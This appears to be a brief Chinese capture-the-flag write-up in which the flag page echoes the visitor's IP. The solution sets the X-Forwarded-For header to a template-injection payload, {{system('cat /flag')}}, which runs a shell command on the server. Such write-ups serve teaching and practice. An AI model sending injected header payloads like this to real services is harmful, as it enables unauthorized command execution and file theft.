flag.php显示ip地址
hint.php查看源码
do you know why i know your ip?
修改请求头X-Forwarded-For:{{system('cat /flag')}}
得到flag